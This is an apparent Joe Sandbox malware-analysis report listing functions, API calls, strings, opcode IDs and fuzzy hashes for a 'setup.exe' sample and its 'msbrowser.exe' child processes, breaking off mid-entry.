Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: ba356deda672a8bca73afe3a4d59e9d65b025912516714550c43f4b772584862
Instruction ID: bf09c953a3e1a7366cff85aedbec2f4e2102ace50fecd7aee0eefc9608e5338a
Opcode Fuzzy Hash: ba356deda672a8bca73afe3a4d59e9d65b025912516714550c43f4b772584862
Instruction Fuzzy Hash: 50D05E3690802026CE503B25AC0EEAF7D159F527B5F21873FF239662F9DB29095182DD

Function 0049DA4E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,0049D32F,?), ref: 0049DA53
FindResourceW.KERNEL32(00000000,RTL,00000005,?,0049D32F,?), ref: 0049DA61

Strings

RTL, xrefs: 0049DA5B

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 85dc733449e3fe7eb5e5e91dae2b43bf8499c3130e89f83fb476347892198f9e
Instruction ID: 9ce209c28cb951d2487c8b9b4824194b37b2debed6d2f2fdf28f5d33228a88ef
Opcode Fuzzy Hash: 85dc733449e3fe7eb5e5e91dae2b43bf8499c3130e89f83fb476347892198f9e
Instruction Fuzzy Hash: 40C0127268535076DBB01B216C0DF832E485B10B13F15446DB141DA1D4D5E9C9408655

Analysis Process: msbrowser.exePID: 5960, Parent PID: 2196COMMON

Executed Functions

Function 00007FFD9BAA35D5 Relevance: 1.5, Strings: 1, Instructions: 295COMMON

Download Yara Rule

Strings

N_H, xrefs: 00007FFD9BAA3760

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID: N_H
API String ID: 0-343878021
Opcode ID: c2f5909a66416836163cbc82fae57f35976043ce97572726047712c8a06bbc6b
Instruction ID: 181a136496ddecb80dbe78e5056e7cc4f3ecf1f9ffe51da14f5f5df91e2f2c64
Opcode Fuzzy Hash: c2f5909a66416836163cbc82fae57f35976043ce97572726047712c8a06bbc6b
Instruction Fuzzy Hash: 8DA1F572A0994E8FEB58DB68C8657AD7BE1FF59314F5401BAD00DCB2D6CBB42801CB00

Function 00007FFD9BAA1738 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d35db3aefde293f81b41988bf1e9c5bd21bdaca570bd3f6baa949ca9bf05528
Instruction ID: 7388efb9fb50713cf77c62fb90538d78790dcdbf01e5e6637ba77785dbc701ef
Opcode Fuzzy Hash: 0d35db3aefde293f81b41988bf1e9c5bd21bdaca570bd3f6baa949ca9bf05528
Instruction Fuzzy Hash: 5381DE31B09A894FDB68DF5C88616A977E3EFEA300B15416EE45DC3296DE24AD02C781

Function 00007FFD9BAA1D5D Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 731adbf330cb9a9d634539fa4afc44379986812108e0638654f38c22f5da1234
Instruction ID: 07d61819ea2225ca5ef0e708b420723c11234972b61ce673314fe0043aae2d02
Opcode Fuzzy Hash: 731adbf330cb9a9d634539fa4afc44379986812108e0638654f38c22f5da1234
Instruction Fuzzy Hash: 5051EE31B08B894FDB58DF4888646BA77E2FFE9300B15417EE45AC7296DE34E902C781

Function 00007FFD9BAA3195 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5c75860eaf276549ba442a68b203812cbbc0a5e36db72f51a26e3385a779cf6
Instruction ID: 423faf3f7158472573d4e106aea7952ebfa1c38958a051cbfe3233cbc9c644cc
Opcode Fuzzy Hash: a5c75860eaf276549ba442a68b203812cbbc0a5e36db72f51a26e3385a779cf6
Instruction Fuzzy Hash: C1611B71E0961D8FEB64EB94C4646EDBBF2FF58301F51417AD009E72A2DA786A44CB20

Function 00007FFD9BAA2175 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dfcdf6052ca2c2ab941c0064e9e60c53bf65ce375a0cd5c62b4ae5520039572
Instruction ID: 4519b84b2f6c890789178ed40d8b43f902798b623652d9aa0934f298a2b4704a
Opcode Fuzzy Hash: 8dfcdf6052ca2c2ab941c0064e9e60c53bf65ce375a0cd5c62b4ae5520039572
Instruction Fuzzy Hash: D8418A31B0EA4E4FE765DBB888751B8BBE1EF86300F0540BBE40CC71E2DE68A9118351

Function 00007FFD9BAAA655 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef0e7254b728b32ff65f683458280d36fe9f92724324fc53fba7360c6d053f46
Instruction ID: 6f38ad65d8e918d7da168f5303f316ff051013c63c4b73fdcc46a173df27071b
Opcode Fuzzy Hash: ef0e7254b728b32ff65f683458280d36fe9f92724324fc53fba7360c6d053f46
Instruction Fuzzy Hash: 65218E31E1A60D8ADB59EBA4C8656FCBBA2FF58310F414179E009D71A2CE7965008B11

Function 00007FFD9BAAA441 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1211a0f7e172a003e057aebf1f8225b267f08b0c38d4fcb78617c5ae8293d39
Instruction ID: aa053295a129054eec9144b22175727f9e4a50723ac5222bc501fe811098b31a
Opcode Fuzzy Hash: d1211a0f7e172a003e057aebf1f8225b267f08b0c38d4fcb78617c5ae8293d39
Instruction Fuzzy Hash: E8218170A0964D8FCB89EF58C4999A93BF1FF18305F1145AAE809C72A5DB34E550CB41

Function 00007FFD9BAA0A01 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c04b249df3ed0725484f274fa4f7fa8835f10ac2d2364bfa85935b47a4dba849
Instruction ID: ed9720f29d5e635672f17a57fc8066090c62eccb42f07d183925e2cf931f6b0f
Opcode Fuzzy Hash: c04b249df3ed0725484f274fa4f7fa8835f10ac2d2364bfa85935b47a4dba849
Instruction Fuzzy Hash: 0011BF31E0A50E4FE7A4EBA8C8691BD7BE2FF58700F4245B6D01CC70A6EE74A6448710

Function 00007FFD9BAA3551 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08005b858c8ecd567cc39029bffab60eff2e67c2abd4d87172fe8e04e0fed626
Instruction ID: dc6c69cea0029425a662bfbb8c0e5e46f0d53448cdefe7523c55f4a544792bcb
Opcode Fuzzy Hash: 08005b858c8ecd567cc39029bffab60eff2e67c2abd4d87172fe8e04e0fed626
Instruction Fuzzy Hash: A2113030E0A54F8FEB65EFA888695FE77E1FF18304F11087AD41DC61A1EB75A6508750

Function 00007FFD9BAA114D Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec8b5b902fe426ecba431be0f157229386bb35e54c806fc1662df93044f07664
Instruction ID: 65447b60ba58ff773dcc4be18e7d621a233f38818da9ec1c6b6d50a013e203f2
Opcode Fuzzy Hash: ec8b5b902fe426ecba431be0f157229386bb35e54c806fc1662df93044f07664
Instruction Fuzzy Hash: F411E630E0A64E5EEBA9DBA4C4646B97FE1FF26304F0504BFD40AC61E2EA756540C710

Function 00007FFD9BAAABBD Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5121ac5246eeae288988031cd6df516bef543760efb04bc25905ed492c5ce04b
Instruction ID: a9a34bf62456797f0eb110dee554f39345827f571bf3f10771bb88f9c735dd0e
Opcode Fuzzy Hash: 5121ac5246eeae288988031cd6df516bef543760efb04bc25905ed492c5ce04b
Instruction Fuzzy Hash: 65118C30A0560E8FDB68EF68C4596BE7BE0FF18304F10457AE42EC21A4CB34A140CA81

Function 00007FFD9BAA2EB1 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 524dae30bd6748a8624e46102ca9684f4351a2fce645d3342fb93572a32f776e
Instruction ID: 4f9607fab3f7e80a7ccba0d801641fe657d5e71d73065d2298a708edaa2e1abd
Opcode Fuzzy Hash: 524dae30bd6748a8624e46102ca9684f4351a2fce645d3342fb93572a32f776e
Instruction Fuzzy Hash: EF01D430A0E74E8FE761EBA485591A97BE1EF19300F0648B6D40CC70A2EF74E6948721

Function 00007FFD9BAA05D8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 463d2680a1c3bcfbeeecbc62d938e8cf494efd94f1fe809cc785ac6c7674d0a2
Instruction ID: 6fc527bb9bfd6aeaf30319c4c10c51ffc31f86c0242075e409d2f59e7a4fe36f
Opcode Fuzzy Hash: 463d2680a1c3bcfbeeecbc62d938e8cf494efd94f1fe809cc785ac6c7674d0a2
Instruction Fuzzy Hash: 04019E34A0960E9FDB58EF64C4646BA77A2FF6A304F21447ED40EC21A4CFB1A650CB50

Function 00007FFD9BAA281D Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44e7bf064bea93fcd0d36d0f73e56e62ac5c4b8db42752cbd7959f53fd8fc65d
Instruction ID: 6d7c6f95175c648c51ab542e78aa70414a175df35b98829d290379edd10208b9
Opcode Fuzzy Hash: 44e7bf064bea93fcd0d36d0f73e56e62ac5c4b8db42752cbd7959f53fd8fc65d
Instruction Fuzzy Hash: 4401F530A0A64D8FDB58EFA4C4681B9BBA1FF19304F4104BEE419C61E5DF75E550C700

Function 00007FFD9BAA27A9 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b506da1313361f93ece10ed8ead80ddee0c4c9a4c2ae4b5351bfa4310a3e810
Instruction ID: 8578192768e01eb386750692d0aab1ae8aec3be79754be76b903dba45b2f4484
Opcode Fuzzy Hash: 5b506da1313361f93ece10ed8ead80ddee0c4c9a4c2ae4b5351bfa4310a3e810
Instruction Fuzzy Hash: 4F01A13090A74D8FDB5AEB6488691B93BB1FF19305F1104FED40AC60E2DB39A650CB21

Function 00007FFD9BAAADFA Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c774aed8148cb1ecda452745c4cdef7c0fcd2304409fd9784ce8417426f4be08
Instruction ID: bbff840d8cbd56a8025e8f5d0fefe2ed85311e01b40525d444e9dc8df0d4f32d
Opcode Fuzzy Hash: c774aed8148cb1ecda452745c4cdef7c0fcd2304409fd9784ce8417426f4be08
Instruction Fuzzy Hash: EE01F931F0E95E4EE761EB68C4581B977D1EF14304F050476D058C30B1DE74A5448360

Function 00007FFD9BAA288D Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfc335ff627f22f7b6b62527072c40979fa70e5f4942ed67a7cdd32f962f9450
Instruction ID: 587ae614c25a50e26ebcfee0233ceaee46d9a53ee827721d0de3ca6a5c23771e
Opcode Fuzzy Hash: cfc335ff627f22f7b6b62527072c40979fa70e5f4942ed67a7cdd32f962f9450
Instruction Fuzzy Hash: B901D431A0A64E4FE765EBA489985A9BBE1FF59300F0644B6E40CC70B6EB78E154CB10

Function 00007FFD9BAA33FA Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a9e9e4a41cfcaff1d6390c4a093f0d1d1d7671904ebcb101c5683ef0d5edd64
Instruction ID: 644dba5fb54b6086dab66ab59c83695fb0267bbdc3e97700a4451b344c883bac
Opcode Fuzzy Hash: 9a9e9e4a41cfcaff1d6390c4a093f0d1d1d7671904ebcb101c5683ef0d5edd64
Instruction Fuzzy Hash: B3014F30E1990E8FEB91FBA8C4585BD7BE5FF58301F0149B6D41DD30A5EB74A2408B50

Function 00007FFD9BAAA989 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d22c73901aead7d3e1cdb811bc51dae5da1eb4ef2d9abd1c4a8b0e132017fc1
Instruction ID: d278b0d1d81e7faeb31bdfa50bb1176afd60a6ce11c4ac189de20f6cdd9e342e
Opcode Fuzzy Hash: 8d22c73901aead7d3e1cdb811bc51dae5da1eb4ef2d9abd1c4a8b0e132017fc1
Instruction Fuzzy Hash: 4E017131A4E64E4FD762AB64C8A96A97BF1EF09300F0749B3D408C60B6DA78A6448721

Function 00007FFD9BAA2F29 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55d9fb6cdf63585acbfc1f7146b160a8ff0e67df400953e811c83afd8cd17d65
Instruction ID: ca3baf489c57fd3769a3bf78cca8227539e0681673ac543f379eac82516f33c6
Opcode Fuzzy Hash: 55d9fb6cdf63585acbfc1f7146b160a8ff0e67df400953e811c83afd8cd17d65
Instruction Fuzzy Hash: 5401D470A0E78E4FE761E7B489695AD7BE1EF05300F0608F7C409C70B6DE78A5688711

Function 00007FFD9BAA1CDD Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ad9a746544ea2bf56ee4cd41d6d630d91750c56916c471f233149c7e6b63a98
Instruction ID: 43fef09122ca8c78b6f9495936234f99575df8503775ad069216fb5a04021e73
Opcode Fuzzy Hash: 2ad9a746544ea2bf56ee4cd41d6d630d91750c56916c471f233149c7e6b63a98
Instruction Fuzzy Hash: 9201D630A0A68D8FDB64DF5488656B93BA1FF26300F51057AD40CC61A1DBB5A550CB40

Function 00007FFD9BAA1160 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66e65f83d20661efe3833efd9077eedbe0568460039439c84f7326648ae349fd
Instruction ID: 14b9b16fd6e91ec82f50fd93747f2939e40152f59739f0bc50ba0213ca1ea610
Opcode Fuzzy Hash: 66e65f83d20661efe3833efd9077eedbe0568460039439c84f7326648ae349fd
Instruction Fuzzy Hash: 1EF02D30E1954E59FBA49B9488646F97BE5FF66308F04003FD40EC10D2EF741210C610

Function 00007FFD9BAA05D0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0513a779adf0ad27e7e527cada35c03b63ecf51bba636c57901836d2b7c9fc6
Instruction ID: 89cc3ef779ec42863ab6bf7dc15bc6a3689e963ca70ff611d6ed1f049d89c6f3
Opcode Fuzzy Hash: d0513a779adf0ad27e7e527cada35c03b63ecf51bba636c57901836d2b7c9fc6
Instruction Fuzzy Hash: 9AF0FC30A0A64E9FDF64EF6484255F97791EF26308F11057AE80DC20D1CF75A550CB40

Function 00007FFD9BAA0F93 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 553396f3d13949e1ddebdacfb5fe487576be34abf76bdc426246872f0e777f2b
Instruction ID: c4bb1984cdc751a06c69a65dfde6b1c1ab424e284036902e0d8d1fdaf80ac93f
Opcode Fuzzy Hash: 553396f3d13949e1ddebdacfb5fe487576be34abf76bdc426246872f0e777f2b
Instruction Fuzzy Hash: D9F09030A0A40E8BEBA4DB48CC90FBE77B1FF54305F114275D00DE7295DE746A848B84

Function 00007FFD9BAA69AA Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1743732171.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9baa0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1a8bdb31549a9375417ccd91963f4b34b2ff3bbcba9a76e1d78e0aa5f27c862
Instruction ID: 0c6a048c54edefa87606b16ef93ebcc05a40d5c5e873554e725ad7295a619a7d
Opcode Fuzzy Hash: e1a8bdb31549a9375417ccd91963f4b34b2ff3bbcba9a76e1d78e0aa5f27c862
Instruction Fuzzy Hash: 3BE045B4E1966D8FDBB5DF4889647A8B7B2BB48305F1100E9C60DA3251DA346E80CF15

Analysis Process: msbrowser.exePID: 1720, Parent PID: 5960COMMON

Executed Functions

Function 00007FFD9BAB35D5 Relevance: 1.5, Strings: 1, Instructions: 294COMMON

Download Yara Rule

Strings

M_H, xrefs: 00007FFD9BAB3760

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID: M_H
API String ID: 0-372873180
Opcode ID: 5d3658999aa4af8a6b889f861c46c8277b4a5afaeee1928ef35a0688fc4fc28a
Instruction ID: 3576431b74fa7329c0236bafc976ed54d27b5b10025210f550c9aa36efc9e42d
Opcode Fuzzy Hash: 5d3658999aa4af8a6b889f861c46c8277b4a5afaeee1928ef35a0688fc4fc28a
Instruction Fuzzy Hash: A8A1B472A1995E8FEB58DB68C8657ED7BE1FF59314F5002BED019CB2D6DBB428018B00

Function 00007FFD9BABA989 Relevance: 1.3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

Strings

U, xrefs: 00007FFD9BABA999

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: ce34042ebb9e175f69b00d5a257bc937b383e05cd324917b5fbca2aa6667913f
Instruction ID: 65412eaec3b258318b21cd0e8d89ee19bafd3e547e563bad2bcd61e8cf572c51
Opcode Fuzzy Hash: ce34042ebb9e175f69b00d5a257bc937b383e05cd324917b5fbca2aa6667913f
Instruction Fuzzy Hash: A1018F31A5E65E4FE752AB74C8A95A97BF0EF0A304F4349F3D018C70B6DE38A6448B11

Function 00007FFD9BABAB45 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9503cdfd97c048823f777bf6ac2f96a9181c81b3d6b4479a2ac933def3a695ba
Instruction ID: 7a1827dfb1542a617d837caa15d424823d04ecc9110f76b24357f3fff4ffc006
Opcode Fuzzy Hash: 9503cdfd97c048823f777bf6ac2f96a9181c81b3d6b4479a2ac933def3a695ba
Instruction Fuzzy Hash: A1D13B30E1A61DCFDB68EF98C4A4ABCB7B1FF59705F114079D00DA72A2CA786941CB45

Function 00007FFD9BABB2BC Relevance: .4, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c048b993e7aded6284c1dd51edebc0a217cc42c3f7b1e9e52c4878550d5f619f
Instruction ID: 87c4aec84a1380e129c7a89ed6b7ec3a2b2a7e7f0a53c1d91d0e83d42cc440bd
Opcode Fuzzy Hash: c048b993e7aded6284c1dd51edebc0a217cc42c3f7b1e9e52c4878550d5f619f
Instruction Fuzzy Hash: 4AD13171E1952D4FDBA8EB58C865BE8B7B1EF58310F4002FAD01DD71A5DE746A818F40

Function 00007FFD9BAB1738 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95f9c66a137e2ffbe4d5dd689e564369b2fdad350750fbcd7874bd056a3c76b5
Instruction ID: 6ed4af5dcd1f615cad65550762e41a1c73dcb8a66ef295b7b143c6a4df7927ea
Opcode Fuzzy Hash: 95f9c66a137e2ffbe4d5dd689e564369b2fdad350750fbcd7874bd056a3c76b5
Instruction Fuzzy Hash: A981EF31B2DA594BDB58DF5C88616A977E2FFA8300F15417EE46DC3296DE30AD02CB80

Function 00007FFD9BAB1D5D Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a897b97050c1a692a6749d8f987339875034e76a7b059157b57a7c83a7d66d7
Instruction ID: 5d20d37b13486f44f000961b5e6271c174a4bb2592731df5e5f79043219e20f0
Opcode Fuzzy Hash: 0a897b97050c1a692a6749d8f987339875034e76a7b059157b57a7c83a7d66d7
Instruction Fuzzy Hash: 6351E331B18A594FDB58DF5888645BA77E2FFE8300F11417EE46AC7296DE34E902CB81

Function 00007FFD9BAB3195 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd1329ac850929b6c8f2ca46778ca7dc411f8876cf1cc45b07e1072fb955df36
Instruction ID: bd4d9c503be91ed79b5e6507c9846c9f05d438b9d3931d458554bcae27c6ab2e
Opcode Fuzzy Hash: dd1329ac850929b6c8f2ca46778ca7dc411f8876cf1cc45b07e1072fb955df36
